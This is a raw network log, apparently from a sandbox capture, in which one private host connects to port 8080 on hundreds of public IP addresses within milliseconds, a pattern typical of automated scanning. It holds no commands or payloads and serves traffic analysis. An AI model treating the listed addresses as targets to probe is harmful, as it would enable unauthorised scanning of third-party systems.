Oct 29, 2024 20:52:39.297607899 CET	56351	8080	192.168.2.13	94.87.191.56
Oct 29, 2024 20:52:39.297616959 CET	56351	8080	192.168.2.13	62.41.154.56
Oct 29, 2024 20:52:39.297626019 CET	56351	8080	192.168.2.13	85.80.3.128
Oct 29, 2024 20:52:39.297626019 CET	56351	8080	192.168.2.13	95.72.225.150
Oct 29, 2024 20:52:39.297627926 CET	56351	8080	192.168.2.13	31.14.56.174
Oct 29, 2024 20:52:39.297646046 CET	56351	8080	192.168.2.13	62.138.30.65
Oct 29, 2024 20:52:39.297646999 CET	56351	8080	192.168.2.13	94.216.135.255
Oct 29, 2024 20:52:39.297650099 CET	56351	8080	192.168.2.13	94.209.2.197
Oct 29, 2024 20:52:39.297669888 CET	56351	8080	192.168.2.13	85.191.139.236
Oct 29, 2024 20:52:39.297669888 CET	56351	8080	192.168.2.13	95.106.185.134
Oct 29, 2024 20:52:39.297674894 CET	56351	8080	192.168.2.13	94.211.249.135
Oct 29, 2024 20:52:39.297682047 CET	56351	8080	192.168.2.13	95.174.35.57
Oct 29, 2024 20:52:39.297683001 CET	56351	8080	192.168.2.13	95.91.187.236
Oct 29, 2024 20:52:39.297683001 CET	56351	8080	192.168.2.13	31.28.153.142
Oct 29, 2024 20:52:39.297683001 CET	56351	8080	192.168.2.13	62.106.184.61
Oct 29, 2024 20:52:39.297683001 CET	56351	8080	192.168.2.13	94.34.76.173
Oct 29, 2024 20:52:39.297688961 CET	56351	8080	192.168.2.13	94.2.199.187
Oct 29, 2024 20:52:39.297689915 CET	56351	8080	192.168.2.13	95.2.30.17
Oct 29, 2024 20:52:39.297703981 CET	56351	8080	192.168.2.13	95.52.245.14
Oct 29, 2024 20:52:39.297707081 CET	56351	8080	192.168.2.13	94.91.221.7
Oct 29, 2024 20:52:39.297712088 CET	56351	8080	192.168.2.13	62.181.230.51
Oct 29, 2024 20:52:39.297714949 CET	56351	8080	192.168.2.13	95.145.151.7
Oct 29, 2024 20:52:39.297717094 CET	56351	8080	192.168.2.13	95.92.41.73
Oct 29, 2024 20:52:39.297717094 CET	56351	8080	192.168.2.13	94.159.197.222
Oct 29, 2024 20:52:39.297720909 CET	56351	8080	192.168.2.13	94.197.104.171
Oct 29, 2024 20:52:39.297723055 CET	56351	8080	192.168.2.13	62.17.50.203
Oct 29, 2024 20:52:39.297739029 CET	56351	8080	192.168.2.13	85.36.19.27
Oct 29, 2024 20:52:39.297743082 CET	56351	8080	192.168.2.13	31.58.172.111
Oct 29, 2024 20:52:39.297744036 CET	56351	8080	192.168.2.13	62.77.218.130
Oct 29, 2024 20:52:39.297779083 CET	56351	8080	192.168.2.13	85.119.24.174
Oct 29, 2024 20:52:39.297779083 CET	56351	8080	192.168.2.13	94.21.194.9
Oct 29, 2024 20:52:39.297787905 CET	56351	8080	192.168.2.13	95.129.126.187
Oct 29, 2024 20:52:39.297789097 CET	56351	8080	192.168.2.13	94.102.89.100
Oct 29, 2024 20:52:39.297789097 CET	56351	8080	192.168.2.13	62.38.26.42
Oct 29, 2024 20:52:39.297789097 CET	56351	8080	192.168.2.13	31.205.202.4
Oct 29, 2024 20:52:39.297802925 CET	56351	8080	192.168.2.13	85.231.187.112
Oct 29, 2024 20:52:39.297802925 CET	56351	8080	192.168.2.13	95.191.205.199
Oct 29, 2024 20:52:39.297808886 CET	56351	8080	192.168.2.13	31.95.50.244
Oct 29, 2024 20:52:39.297808886 CET	56351	8080	192.168.2.13	85.150.34.248
Oct 29, 2024 20:52:39.297810078 CET	56351	8080	192.168.2.13	85.245.233.56
Oct 29, 2024 20:52:39.297815084 CET	56351	8080	192.168.2.13	85.116.236.44
Oct 29, 2024 20:52:39.297815084 CET	56351	8080	192.168.2.13	85.173.233.56
Oct 29, 2024 20:52:39.297815084 CET	56351	8080	192.168.2.13	95.54.58.174
Oct 29, 2024 20:52:39.297815084 CET	56351	8080	192.168.2.13	85.124.129.114
Oct 29, 2024 20:52:39.297847033 CET	56351	8080	192.168.2.13	85.158.205.176
Oct 29, 2024 20:52:39.297847033 CET	56351	8080	192.168.2.13	94.0.236.232
Oct 29, 2024 20:52:39.297847033 CET	56351	8080	192.168.2.13	62.213.75.198
Oct 29, 2024 20:52:39.297848940 CET	56351	8080	192.168.2.13	31.43.133.131
Oct 29, 2024 20:52:39.297852039 CET	56351	8080	192.168.2.13	95.162.87.26
Oct 29, 2024 20:52:39.297852039 CET	56351	8080	192.168.2.13	95.130.136.171
Oct 29, 2024 20:52:39.297852039 CET	56351	8080	192.168.2.13	85.65.74.203
Oct 29, 2024 20:52:39.297853947 CET	56351	8080	192.168.2.13	62.3.47.158
Oct 29, 2024 20:52:39.297852039 CET	56351	8080	192.168.2.13	94.93.149.77
Oct 29, 2024 20:52:39.297852039 CET	56351	8080	192.168.2.13	94.251.113.68
Oct 29, 2024 20:52:39.297852993 CET	56351	8080	192.168.2.13	85.57.2.113
Oct 29, 2024 20:52:39.297868967 CET	56351	8080	192.168.2.13	85.31.149.19
Oct 29, 2024 20:52:39.297868967 CET	56351	8080	192.168.2.13	62.29.53.125
Oct 29, 2024 20:52:39.297868967 CET	56351	8080	192.168.2.13	62.89.255.191
Oct 29, 2024 20:52:39.297871113 CET	56351	8080	192.168.2.13	94.28.170.37
Oct 29, 2024 20:52:39.297873020 CET	56351	8080	192.168.2.13	94.139.211.171
Oct 29, 2024 20:52:39.297877073 CET	56351	8080	192.168.2.13	85.174.118.35
Oct 29, 2024 20:52:39.297888994 CET	56351	8080	192.168.2.13	62.0.80.2
Oct 29, 2024 20:52:39.297894955 CET	56351	8080	192.168.2.13	31.198.224.50
Oct 29, 2024 20:52:39.297911882 CET	56351	8080	192.168.2.13	95.33.195.5
Oct 29, 2024 20:52:39.297910929 CET	56351	8080	192.168.2.13	85.200.4.81
Oct 29, 2024 20:52:39.297910929 CET	56351	8080	192.168.2.13	31.63.100.212
Oct 29, 2024 20:52:39.297915936 CET	56351	8080	192.168.2.13	31.160.147.245
Oct 29, 2024 20:52:39.297915936 CET	56351	8080	192.168.2.13	85.34.105.145
Oct 29, 2024 20:52:39.297926903 CET	56351	8080	192.168.2.13	31.95.240.195
Oct 29, 2024 20:52:39.297926903 CET	56351	8080	192.168.2.13	85.250.58.223
Oct 29, 2024 20:52:39.297945023 CET	56351	8080	192.168.2.13	85.34.191.36
Oct 29, 2024 20:52:39.297950029 CET	56351	8080	192.168.2.13	95.79.158.138
Oct 29, 2024 20:52:39.297951937 CET	56351	8080	192.168.2.13	95.35.71.144
Oct 29, 2024 20:52:39.297951937 CET	56351	8080	192.168.2.13	85.33.88.81
Oct 29, 2024 20:52:39.297951937 CET	56351	8080	192.168.2.13	85.176.217.28
Oct 29, 2024 20:52:39.297956944 CET	56351	8080	192.168.2.13	85.212.15.87
Oct 29, 2024 20:52:39.297961950 CET	56351	8080	192.168.2.13	95.155.164.108
Oct 29, 2024 20:52:39.297971964 CET	56351	8080	192.168.2.13	31.88.179.207
Oct 29, 2024 20:52:39.297972918 CET	56351	8080	192.168.2.13	95.97.161.12
Oct 29, 2024 20:52:39.297981024 CET	56351	8080	192.168.2.13	94.126.142.106
Oct 29, 2024 20:52:39.297981024 CET	56351	8080	192.168.2.13	85.193.155.136
Oct 29, 2024 20:52:39.297992945 CET	56351	8080	192.168.2.13	95.41.32.134
Oct 29, 2024 20:52:39.298000097 CET	56351	8080	192.168.2.13	85.211.189.250
Oct 29, 2024 20:52:39.298023939 CET	56351	8080	192.168.2.13	31.117.50.15
Oct 29, 2024 20:52:39.298023939 CET	56351	8080	192.168.2.13	85.69.174.137
Oct 29, 2024 20:52:39.298023939 CET	56351	8080	192.168.2.13	85.141.224.202
Oct 29, 2024 20:52:39.298024893 CET	56351	8080	192.168.2.13	94.83.204.124
Oct 29, 2024 20:52:39.298023939 CET	56351	8080	192.168.2.13	95.228.124.193
Oct 29, 2024 20:52:39.298028946 CET	56351	8080	192.168.2.13	85.95.99.161
Oct 29, 2024 20:52:39.298031092 CET	56351	8080	192.168.2.13	94.216.68.80
Oct 29, 2024 20:52:39.298031092 CET	56351	8080	192.168.2.13	95.20.142.254
Oct 29, 2024 20:52:39.298039913 CET	56351	8080	192.168.2.13	85.150.97.172
Oct 29, 2024 20:52:39.298046112 CET	56351	8080	192.168.2.13	94.210.153.104
Oct 29, 2024 20:52:39.298053980 CET	56351	8080	192.168.2.13	31.142.150.216
Oct 29, 2024 20:52:39.298059940 CET	56351	8080	192.168.2.13	31.35.139.208
Oct 29, 2024 20:52:39.298063040 CET	56351	8080	192.168.2.13	31.130.186.66
Oct 29, 2024 20:52:39.298063040 CET	56351	8080	192.168.2.13	31.182.147.40
Oct 29, 2024 20:52:39.298083067 CET	56351	8080	192.168.2.13	85.23.246.96
Oct 29, 2024 20:52:39.298083067 CET	56351	8080	192.168.2.13	94.140.162.72
Oct 29, 2024 20:52:39.298096895 CET	56351	8080	192.168.2.13	85.132.192.100
Oct 29, 2024 20:52:39.298110008 CET	56351	8080	192.168.2.13	95.3.203.30
Oct 29, 2024 20:52:39.298115015 CET	56351	8080	192.168.2.13	62.152.7.122
Oct 29, 2024 20:52:39.298118114 CET	56351	8080	192.168.2.13	94.54.9.251
Oct 29, 2024 20:52:39.298118114 CET	56351	8080	192.168.2.13	94.203.156.142
Oct 29, 2024 20:52:39.298119068 CET	56351	8080	192.168.2.13	31.66.239.117
Oct 29, 2024 20:52:39.298121929 CET	56351	8080	192.168.2.13	62.213.103.222
Oct 29, 2024 20:52:39.298129082 CET	56351	8080	192.168.2.13	85.102.26.179
Oct 29, 2024 20:52:39.298129082 CET	56351	8080	192.168.2.13	31.157.61.145
Oct 29, 2024 20:52:39.298141003 CET	56351	8080	192.168.2.13	94.27.68.187
Oct 29, 2024 20:52:39.298141956 CET	56351	8080	192.168.2.13	31.53.122.215
Oct 29, 2024 20:52:39.298141003 CET	56351	8080	192.168.2.13	62.205.222.75
Oct 29, 2024 20:52:39.298141956 CET	56351	8080	192.168.2.13	95.179.155.86
Oct 29, 2024 20:52:39.298147917 CET	56351	8080	192.168.2.13	62.210.213.120
Oct 29, 2024 20:52:39.298157930 CET	56351	8080	192.168.2.13	95.32.77.228
Oct 29, 2024 20:52:39.298162937 CET	56351	8080	192.168.2.13	85.229.44.253
Oct 29, 2024 20:52:39.298163891 CET	56351	8080	192.168.2.13	95.16.124.203
Oct 29, 2024 20:52:39.298170090 CET	56351	8080	192.168.2.13	31.192.129.204
Oct 29, 2024 20:52:39.298182011 CET	56351	8080	192.168.2.13	94.3.238.56
Oct 29, 2024 20:52:39.298183918 CET	56351	8080	192.168.2.13	94.11.16.70
Oct 29, 2024 20:52:39.298191071 CET	56351	8080	192.168.2.13	31.89.189.250
Oct 29, 2024 20:52:39.298204899 CET	56351	8080	192.168.2.13	31.11.86.91
Oct 29, 2024 20:52:39.298204899 CET	56351	8080	192.168.2.13	85.116.180.5
Oct 29, 2024 20:52:39.298204899 CET	56351	8080	192.168.2.13	62.90.159.42
Oct 29, 2024 20:52:39.298223019 CET	56351	8080	192.168.2.13	95.85.83.224
Oct 29, 2024 20:52:39.298232079 CET	56351	8080	192.168.2.13	62.86.130.234
Oct 29, 2024 20:52:39.298233986 CET	56351	8080	192.168.2.13	85.252.6.35
Oct 29, 2024 20:52:39.298233986 CET	56351	8080	192.168.2.13	62.130.232.102
Oct 29, 2024 20:52:39.298239946 CET	56351	8080	192.168.2.13	85.134.161.2
Oct 29, 2024 20:52:39.298248053 CET	56351	8080	192.168.2.13	95.185.41.90
Oct 29, 2024 20:52:39.298250914 CET	56351	8080	192.168.2.13	62.20.156.70
Oct 29, 2024 20:52:39.298252106 CET	56351	8080	192.168.2.13	62.177.42.234
Oct 29, 2024 20:52:39.298264027 CET	56351	8080	192.168.2.13	31.165.53.87
Oct 29, 2024 20:52:39.298265934 CET	56351	8080	192.168.2.13	31.244.106.32
Oct 29, 2024 20:52:39.298265934 CET	56351	8080	192.168.2.13	31.154.55.247
Oct 29, 2024 20:52:39.298276901 CET	56351	8080	192.168.2.13	62.195.234.42
Oct 29, 2024 20:52:39.298285961 CET	56351	8080	192.168.2.13	85.147.94.34
Oct 29, 2024 20:52:39.298297882 CET	56351	8080	192.168.2.13	94.187.107.174
Oct 29, 2024 20:52:39.298297882 CET	56351	8080	192.168.2.13	85.128.191.19
Oct 29, 2024 20:52:39.298301935 CET	56351	8080	192.168.2.13	62.136.142.3
Oct 29, 2024 20:52:39.298305035 CET	56351	8080	192.168.2.13	94.245.158.64
Oct 29, 2024 20:52:39.298305035 CET	56351	8080	192.168.2.13	85.111.249.236
Oct 29, 2024 20:52:39.298316002 CET	56351	8080	192.168.2.13	31.72.209.232
Oct 29, 2024 20:52:39.298316956 CET	56351	8080	192.168.2.13	95.24.250.85
Oct 29, 2024 20:52:39.298320055 CET	56351	8080	192.168.2.13	95.212.169.145
Oct 29, 2024 20:52:39.298335075 CET	56351	8080	192.168.2.13	31.123.36.230
Oct 29, 2024 20:52:39.298335075 CET	56351	8080	192.168.2.13	85.56.99.134
Oct 29, 2024 20:52:39.298343897 CET	56351	8080	192.168.2.13	62.61.173.111
Oct 29, 2024 20:52:39.298357964 CET	56351	8080	192.168.2.13	31.190.5.27
Oct 29, 2024 20:52:39.298360109 CET	56351	8080	192.168.2.13	31.4.247.54
Oct 29, 2024 20:52:39.298372984 CET	56351	8080	192.168.2.13	85.107.86.35
Oct 29, 2024 20:52:39.298376083 CET	56351	8080	192.168.2.13	62.181.240.81
Oct 29, 2024 20:52:39.298392057 CET	56351	8080	192.168.2.13	95.183.248.206
Oct 29, 2024 20:52:39.298393965 CET	56351	8080	192.168.2.13	94.58.142.239
Oct 29, 2024 20:52:39.298393965 CET	56351	8080	192.168.2.13	85.138.34.237
Oct 29, 2024 20:52:39.298394918 CET	56351	8080	192.168.2.13	94.58.66.149
Oct 29, 2024 20:52:39.298403978 CET	56351	8080	192.168.2.13	94.43.165.118
Oct 29, 2024 20:52:39.298403978 CET	56351	8080	192.168.2.13	31.171.99.58
Oct 29, 2024 20:52:39.298420906 CET	56351	8080	192.168.2.13	85.214.235.182
Oct 29, 2024 20:52:39.298420906 CET	56351	8080	192.168.2.13	62.200.133.177
Oct 29, 2024 20:52:39.298423052 CET	56351	8080	192.168.2.13	94.248.105.83
Oct 29, 2024 20:52:39.298423052 CET	56351	8080	192.168.2.13	85.91.220.226
Oct 29, 2024 20:52:39.298443079 CET	56351	8080	192.168.2.13	62.210.245.8
Oct 29, 2024 20:52:39.298444986 CET	56351	8080	192.168.2.13	62.54.210.61
Oct 29, 2024 20:52:39.298451900 CET	56351	8080	192.168.2.13	62.58.69.245
Oct 29, 2024 20:52:39.298468113 CET	56351	8080	192.168.2.13	94.60.195.69
Oct 29, 2024 20:52:39.298468113 CET	56351	8080	192.168.2.13	31.180.83.71
Oct 29, 2024 20:52:39.298468113 CET	56351	8080	192.168.2.13	94.166.31.234
Oct 29, 2024 20:52:39.298469067 CET	56351	8080	192.168.2.13	31.197.249.68
Oct 29, 2024 20:52:39.298477888 CET	56351	8080	192.168.2.13	62.152.14.25
Oct 29, 2024 20:52:39.298479080 CET	56351	8080	192.168.2.13	95.92.228.74
Oct 29, 2024 20:52:39.298491001 CET	56351	8080	192.168.2.13	31.243.145.2
Oct 29, 2024 20:52:39.298491001 CET	56351	8080	192.168.2.13	95.38.40.202
Oct 29, 2024 20:52:39.298511028 CET	56351	8080	192.168.2.13	85.139.173.18
Oct 29, 2024 20:52:39.298512936 CET	56351	8080	192.168.2.13	62.61.250.148
Oct 29, 2024 20:52:39.298513889 CET	56351	8080	192.168.2.13	62.251.103.172
Oct 29, 2024 20:52:39.298518896 CET	56351	8080	192.168.2.13	94.137.30.87
Oct 29, 2024 20:52:39.298522949 CET	56351	8080	192.168.2.13	85.16.53.180
Oct 29, 2024 20:52:39.298525095 CET	56351	8080	192.168.2.13	31.71.96.225
Oct 29, 2024 20:52:39.298526049 CET	56351	8080	192.168.2.13	95.202.156.59
Oct 29, 2024 20:52:39.298536062 CET	56351	8080	192.168.2.13	95.2.27.77
Oct 29, 2024 20:52:39.298536062 CET	56351	8080	192.168.2.13	62.32.250.178
Oct 29, 2024 20:52:39.298549891 CET	56351	8080	192.168.2.13	85.19.41.97
Oct 29, 2024 20:52:39.298561096 CET	56351	8080	192.168.2.13	94.31.217.4
Oct 29, 2024 20:52:39.298563004 CET	56351	8080	192.168.2.13	94.116.81.161
Oct 29, 2024 20:52:39.298563004 CET	56351	8080	192.168.2.13	62.200.1.215
Oct 29, 2024 20:52:39.298578024 CET	56351	8080	192.168.2.13	95.141.162.89
Oct 29, 2024 20:52:39.298578024 CET	56351	8080	192.168.2.13	85.13.153.140
Oct 29, 2024 20:52:39.298578024 CET	56351	8080	192.168.2.13	31.77.121.72
Oct 29, 2024 20:52:39.298578978 CET	56351	8080	192.168.2.13	31.203.203.210
Oct 29, 2024 20:52:39.298578978 CET	56351	8080	192.168.2.13	85.197.111.63
Oct 29, 2024 20:52:39.298595905 CET	56351	8080	192.168.2.13	95.170.50.101
Oct 29, 2024 20:52:39.298595905 CET	56351	8080	192.168.2.13	95.35.197.115
Oct 29, 2024 20:52:39.298604012 CET	56351	8080	192.168.2.13	94.110.54.218
Oct 29, 2024 20:52:39.298613071 CET	56351	8080	192.168.2.13	95.95.194.166
Oct 29, 2024 20:52:39.298620939 CET	56351	8080	192.168.2.13	31.208.25.17
Oct 29, 2024 20:52:39.298626900 CET	56351	8080	192.168.2.13	85.255.10.249
Oct 29, 2024 20:52:39.298629999 CET	56351	8080	192.168.2.13	31.190.196.253
Oct 29, 2024 20:52:39.298636913 CET	56351	8080	192.168.2.13	85.255.128.97
Oct 29, 2024 20:52:39.298639059 CET	56351	8080	192.168.2.13	62.247.56.84
Oct 29, 2024 20:52:39.298643112 CET	56351	8080	192.168.2.13	95.34.49.158
Oct 29, 2024 20:52:39.298644066 CET	56351	8080	192.168.2.13	62.161.105.36
Oct 29, 2024 20:52:39.298660994 CET	56351	8080	192.168.2.13	95.39.255.1
Oct 29, 2024 20:52:39.298671961 CET	56351	8080	192.168.2.13	94.81.40.164
Oct 29, 2024 20:52:39.298676968 CET	56351	8080	192.168.2.13	62.96.221.222
Oct 29, 2024 20:52:39.298679113 CET	56351	8080	192.168.2.13	95.213.236.90
Oct 29, 2024 20:52:39.298695087 CET	56351	8080	192.168.2.13	62.237.16.185
Oct 29, 2024 20:52:39.298696041 CET	56351	8080	192.168.2.13	94.106.194.175
Oct 29, 2024 20:52:39.298698902 CET	56351	8080	192.168.2.13	94.33.31.132
Oct 29, 2024 20:52:39.298698902 CET	56351	8080	192.168.2.13	31.180.10.133
Oct 29, 2024 20:52:39.298703909 CET	56351	8080	192.168.2.13	62.1.217.142
Oct 29, 2024 20:52:39.298703909 CET	56351	8080	192.168.2.13	85.105.244.39
Oct 29, 2024 20:52:39.298715115 CET	56351	8080	192.168.2.13	95.180.115.76
Oct 29, 2024 20:52:39.298726082 CET	56351	8080	192.168.2.13	62.210.132.197
Oct 29, 2024 20:52:39.298726082 CET	56351	8080	192.168.2.13	31.33.3.224
Oct 29, 2024 20:52:39.298727989 CET	56351	8080	192.168.2.13	94.235.21.63
Oct 29, 2024 20:52:39.298744917 CET	56351	8080	192.168.2.13	94.122.170.19
Oct 29, 2024 20:52:39.298747063 CET	56351	8080	192.168.2.13	31.237.217.112
Oct 29, 2024 20:52:39.298748970 CET	56351	8080	192.168.2.13	62.54.247.96
Oct 29, 2024 20:52:39.298763037 CET	56351	8080	192.168.2.13	62.128.166.33
Oct 29, 2024 20:52:39.298765898 CET	56351	8080	192.168.2.13	85.223.47.199
Oct 29, 2024 20:52:39.298780918 CET	56351	8080	192.168.2.13	95.39.58.207
Oct 29, 2024 20:52:39.298783064 CET	56351	8080	192.168.2.13	94.177.83.135
Oct 29, 2024 20:52:39.298783064 CET	56351	8080	192.168.2.13	31.71.192.150
Oct 29, 2024 20:52:39.298785925 CET	56351	8080	192.168.2.13	95.11.127.199
Oct 29, 2024 20:52:39.298785925 CET	56351	8080	192.168.2.13	62.253.104.18
Oct 29, 2024 20:52:39.298798084 CET	56351	8080	192.168.2.13	85.52.114.40
Oct 29, 2024 20:52:39.298798084 CET	56351	8080	192.168.2.13	62.216.161.94
Oct 29, 2024 20:52:39.298803091 CET	56351	8080	192.168.2.13	85.164.244.197
Oct 29, 2024 20:52:39.298810959 CET	56351	8080	192.168.2.13	85.145.75.1
Oct 29, 2024 20:52:39.298825026 CET	56351	8080	192.168.2.13	31.43.54.195
Oct 29, 2024 20:52:39.298825026 CET	56351	8080	192.168.2.13	62.92.178.122
Oct 29, 2024 20:52:39.298830986 CET	56351	8080	192.168.2.13	85.154.164.90
Oct 29, 2024 20:52:39.298830986 CET	56351	8080	192.168.2.13	95.32.191.81
Oct 29, 2024 20:52:39.298841953 CET	56351	8080	192.168.2.13	94.238.54.170
Oct 29, 2024 20:52:39.298849106 CET	56351	8080	192.168.2.13	85.245.98.24
Oct 29, 2024 20:52:39.298851013 CET	56351	8080	192.168.2.13	31.41.195.107
Oct 29, 2024 20:52:39.298852921 CET	56351	8080	192.168.2.13	94.48.114.21
Oct 29, 2024 20:52:39.298852921 CET	56351	8080	192.168.2.13	94.183.120.34
Oct 29, 2024 20:52:39.298855066 CET	56351	8080	192.168.2.13	31.1.114.64
Oct 29, 2024 20:52:39.298870087 CET	56351	8080	192.168.2.13	31.108.100.185
Oct 29, 2024 20:52:39.298873901 CET	56351	8080	192.168.2.13	85.8.196.19
Oct 29, 2024 20:52:39.298891068 CET	56351	8080	192.168.2.13	94.162.244.121
Oct 29, 2024 20:52:39.298892021 CET	56351	8080	192.168.2.13	95.209.199.133
Oct 29, 2024 20:52:39.298897028 CET	56351	8080	192.168.2.13	94.106.113.77
Oct 29, 2024 20:52:39.298898935 CET	56351	8080	192.168.2.13	62.156.66.101
Oct 29, 2024 20:52:39.298911095 CET	56351	8080	192.168.2.13	95.21.219.7
Oct 29, 2024 20:52:39.298913956 CET	56351	8080	192.168.2.13	31.32.41.34
Oct 29, 2024 20:52:39.298916101 CET	56351	8080	192.168.2.13	94.32.220.197
Oct 29, 2024 20:52:39.298916101 CET	56351	8080	192.168.2.13	62.23.111.207
Oct 29, 2024 20:52:39.298918009 CET	56351	8080	192.168.2.13	31.138.2.0
Oct 29, 2024 20:52:39.298934937 CET	56351	8080	192.168.2.13	62.25.14.99
Oct 29, 2024 20:52:39.298934937 CET	56351	8080	192.168.2.13	94.21.204.2
Oct 29, 2024 20:52:39.298943996 CET	56351	8080	192.168.2.13	94.12.31.220
Oct 29, 2024 20:52:39.298948050 CET	56351	8080	192.168.2.13	85.77.184.24
Oct 29, 2024 20:52:39.298952103 CET	56351	8080	192.168.2.13	95.217.228.11
Oct 29, 2024 20:52:39.298954010 CET	56351	8080	192.168.2.13	62.228.117.177
Oct 29, 2024 20:52:39.298963070 CET	56351	8080	192.168.2.13	31.136.102.123
Oct 29, 2024 20:52:39.298968077 CET	56351	8080	192.168.2.13	94.0.106.12
Oct 29, 2024 20:52:39.298976898 CET	56351	8080	192.168.2.13	85.112.85.165
Oct 29, 2024 20:52:39.298978090 CET	56351	8080	192.168.2.13	94.161.219.212
Oct 29, 2024 20:52:39.298993111 CET	56351	8080	192.168.2.13	95.245.122.247
Oct 29, 2024 20:52:39.298993111 CET	56351	8080	192.168.2.13	94.75.236.177
Oct 29, 2024 20:52:39.298996925 CET	56351	8080	192.168.2.13	95.101.155.176
Oct 29, 2024 20:52:39.299002886 CET	56351	8080	192.168.2.13	85.10.71.65
Oct 29, 2024 20:52:39.299015045 CET	56351	8080	192.168.2.13	62.32.180.98
Oct 29, 2024 20:52:39.299017906 CET	56351	8080	192.168.2.13	62.127.204.165
Oct 29, 2024 20:52:39.299017906 CET	56351	8080	192.168.2.13	85.45.52.241
Oct 29, 2024 20:52:39.299026966 CET	56351	8080	192.168.2.13	85.52.249.74
Oct 29, 2024 20:52:39.299026966 CET	56351	8080	192.168.2.13	62.65.35.86
Oct 29, 2024 20:52:39.299026966 CET	56351	8080	192.168.2.13	95.156.23.123
Oct 29, 2024 20:52:39.299026966 CET	56351	8080	192.168.2.13	85.209.249.66
Oct 29, 2024 20:52:39.299036026 CET	56351	8080	192.168.2.13	94.52.5.211
Oct 29, 2024 20:52:39.299037933 CET	56351	8080	192.168.2.13	62.118.115.133
Oct 29, 2024 20:52:39.299048901 CET	56351	8080	192.168.2.13	85.233.14.123
Oct 29, 2024 20:52:39.299060106 CET	56351	8080	192.168.2.13	85.246.0.115
Oct 29, 2024 20:52:39.299061060 CET	56351	8080	192.168.2.13	85.250.145.133
Oct 29, 2024 20:52:39.299061060 CET	56351	8080	192.168.2.13	62.67.217.94
Oct 29, 2024 20:52:39.299061060 CET	56351	8080	192.168.2.13	31.76.202.42
Oct 29, 2024 20:52:39.299088001 CET	56351	8080	192.168.2.13	94.102.200.90
Oct 29, 2024 20:52:39.299088955 CET	56351	8080	192.168.2.13	31.213.120.151
Oct 29, 2024 20:52:39.299091101 CET	56351	8080	192.168.2.13	62.97.60.99
Oct 29, 2024 20:52:39.299093008 CET	56351	8080	192.168.2.13	94.107.244.87
Oct 29, 2024 20:52:39.299093008 CET	56351	8080	192.168.2.13	31.46.248.173
Oct 29, 2024 20:52:39.299101114 CET	56351	8080	192.168.2.13	85.75.124.168
Oct 29, 2024 20:52:39.299109936 CET	56351	8080	192.168.2.13	85.56.115.231
Oct 29, 2024 20:52:39.299109936 CET	56351	8080	192.168.2.13	62.83.20.94
Oct 29, 2024 20:52:39.299113989 CET	56351	8080	192.168.2.13	62.21.223.138
Oct 29, 2024 20:52:39.299115896 CET	56351	8080	192.168.2.13	62.39.63.60
Oct 29, 2024 20:52:39.299134016 CET	56351	8080	192.168.2.13	95.97.205.25
Oct 29, 2024 20:52:39.299134016 CET	56351	8080	192.168.2.13	95.194.193.232
Oct 29, 2024 20:52:39.299159050 CET	56351	8080	192.168.2.13	95.47.106.8
Oct 29, 2024 20:52:39.299163103 CET	56351	8080	192.168.2.13	31.109.32.237
Oct 29, 2024 20:52:39.299175978 CET	56351	8080	192.168.2.13	85.23.128.122
Oct 29, 2024 20:52:39.299175978 CET	56351	8080	192.168.2.13	85.57.196.187
Oct 29, 2024 20:52:39.299177885 CET	56351	8080	192.168.2.13	62.67.44.201
Oct 29, 2024 20:52:39.299177885 CET	56351	8080	192.168.2.13	95.238.234.251
Oct 29, 2024 20:52:39.299189091 CET	56351	8080	192.168.2.13	85.104.203.92
Oct 29, 2024 20:52:39.299192905 CET	56351	8080	192.168.2.13	95.120.253.1
Oct 29, 2024 20:52:39.299194098 CET	56351	8080	192.168.2.13	31.227.195.14
Oct 29, 2024 20:52:39.299194098 CET	56351	8080	192.168.2.13	95.253.195.0
Oct 29, 2024 20:52:39.299210072 CET	56351	8080	192.168.2.13	85.21.155.141
Oct 29, 2024 20:52:39.299216032 CET	56351	8080	192.168.2.13	95.145.62.52
Oct 29, 2024 20:52:39.299226046 CET	56351	8080	192.168.2.13	95.128.226.88
Oct 29, 2024 20:52:39.299232960 CET	56351	8080	192.168.2.13	94.179.183.232
Oct 29, 2024 20:52:39.299232960 CET	56351	8080	192.168.2.13	95.226.39.100
Oct 29, 2024 20:52:39.299236059 CET	56351	8080	192.168.2.13	94.151.179.207
Oct 29, 2024 20:52:39.299236059 CET	56351	8080	192.168.2.13	62.80.207.53
Oct 29, 2024 20:52:39.299240112 CET	56351	8080	192.168.2.13	31.228.45.1
Oct 29, 2024 20:52:39.299242973 CET	56351	8080	192.168.2.13	95.140.160.135
Oct 29, 2024 20:52:39.299248934 CET	56351	8080	192.168.2.13	95.196.112.239
Oct 29, 2024 20:52:39.299252033 CET	56351	8080	192.168.2.13	94.98.43.156
Oct 29, 2024 20:52:39.299256086 CET	56351	8080	192.168.2.13	95.255.207.57
Oct 29, 2024 20:52:39.299268961 CET	56351	8080	192.168.2.13	85.133.22.3
Oct 29, 2024 20:52:39.299278975 CET	56351	8080	192.168.2.13	94.91.193.146
Oct 29, 2024 20:52:39.299279928 CET	56351	8080	192.168.2.13	31.158.30.69
Oct 29, 2024 20:52:39.299290895 CET	56351	8080	192.168.2.13	95.111.213.218
Oct 29, 2024 20:52:39.299290895 CET	56351	8080	192.168.2.13	62.23.73.99
Oct 29, 2024 20:52:39.299297094 CET	56351	8080	192.168.2.13	94.44.91.89
Oct 29, 2024 20:52:39.299297094 CET	56351	8080	192.168.2.13	94.153.238.4
Oct 29, 2024 20:52:39.299318075 CET	56351	8080	192.168.2.13	31.28.20.121
Oct 29, 2024 20:52:39.299321890 CET	56351	8080	192.168.2.13	62.102.120.142
Oct 29, 2024 20:52:39.299326897 CET	56351	8080	192.168.2.13	95.103.17.209
Oct 29, 2024 20:52:39.299326897 CET	56351	8080	192.168.2.13	31.37.209.38
Oct 29, 2024 20:52:39.299339056 CET	56351	8080	192.168.2.13	95.229.112.132
Oct 29, 2024 20:52:39.299339056 CET	56351	8080	192.168.2.13	95.98.11.19
Oct 29, 2024 20:52:39.299339056 CET	56351	8080	192.168.2.13	31.47.129.143
Oct 29, 2024 20:52:39.299345970 CET	56351	8080	192.168.2.13	31.99.22.80
Oct 29, 2024 20:52:39.299357891 CET	56351	8080	192.168.2.13	62.215.94.249
Oct 29, 2024 20:52:39.299360991 CET	56351	8080	192.168.2.13	31.236.238.109
Oct 29, 2024 20:52:39.299360991 CET	56351	8080	192.168.2.13	85.30.165.147
Oct 29, 2024 20:52:39.299364090 CET	56351	8080	192.168.2.13	62.240.167.55
Oct 29, 2024 20:52:39.299364090 CET	56351	8080	192.168.2.13	94.95.249.94
Oct 29, 2024 20:52:39.299377918 CET	56351	8080	192.168.2.13	95.126.9.217
